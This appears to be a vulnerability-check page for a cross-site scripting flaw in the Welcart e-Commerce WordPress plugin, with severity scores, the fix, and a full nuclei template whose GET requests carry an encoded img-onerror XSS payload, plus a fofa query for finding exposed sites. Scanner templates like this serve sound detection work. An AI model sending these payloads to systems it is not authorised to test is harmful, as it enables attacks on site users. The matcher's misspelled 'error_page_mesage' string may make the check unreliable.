WordPress Welcart e-Commerce < 2.12.7 - Cross-Site Scripting

mediumseverity

4.3CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

Welcart e-Commerce Plugin up to 2.12.6 contains a stored XSS caused by improper escaping of the ResponseCd argument in ESCOTT_MAIN::error_page_message, letting remote attackers execute scripts, exploit requires crafted input.

Impact

Remote attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking or other client-side attacks.

Fix

Upgrade to version 2.12.7.

How to confirm it

Send: GET /usces-cart/?acting_return=1&MerchantFree2=acting_escott_conv&ResponseCd=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E ; GET /cart/?acting_return=1&MerchantFree2=acting_escott_conv&ResponseCd=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(to_lower(body), "error_page_mesage", "<img src=x onerror=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2026-120597 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-120597

info:
  name: WordPress Welcart e-Commerce < 2.12.7 -  Cross-Site Scripting
  author: maulanawirawan
  severity: medium
  description: |
    Welcart e-Commerce Plugin up to 2.12.6 contains a stored XSS caused by improper escaping of the ResponseCd argument in ESCOTT_MAIN::error_page_message, letting remote attackers execute scripts, exploit requires crafted input.
  impact: |
    Remote attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking or other client-side attacks.
  remediation: |
    Upgrade to version 2.12.7.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-120597
    - https://github.com/bevennyamande/welcart-poc
    - https://wordpress.org/plugins/usc-e-shop/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2026-120597
    epss-score: 0.00596
    epss-percentile: 0.48832
    cwe-id: CWE-79
  metadata:
    max-request: 2
    vendor: welcart
    product: welcart_e-commerce
    fofa-query: body="wp-content/plugins/usc-e-shop"
  tags: cve,cve2026,wordpress,wp-plugin,welcart,xss,unauth

http:
  - raw:
      - |
        GET /usces-cart/?acting_return=1&MerchantFree2=acting_escott_conv&ResponseCd=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /cart/?acting_return=1&MerchantFree2=acting_escott_conv&ResponseCd=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(to_lower(body), "error_page_mesage", "<img src=x onerror=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from